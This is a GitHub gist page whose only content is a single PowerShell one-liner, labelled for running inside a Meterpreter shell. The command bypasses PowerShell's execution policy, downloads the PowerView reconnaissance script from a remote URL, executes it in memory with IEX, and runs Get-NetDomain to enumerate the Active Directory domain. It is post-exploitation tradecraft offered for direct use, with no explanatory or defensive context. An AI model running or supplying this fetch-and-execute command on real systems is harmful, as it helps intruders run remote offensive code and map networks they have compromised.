Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@carnal0wnage
Created January 21, 2015 20:28
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save carnal0wnage/08da32e8c2ace3cedf9a to your computer and use it in GitHub Desktop.
Save carnal0wnage/08da32e8c2ace3cedf9a to your computer and use it in GitHub Desktop.
PowerShell exec with Import Module to run in Meterpreter shell (remote file via IEX)
powershell.exe -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerView/powerview.ps1'); Get-NetDomain"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment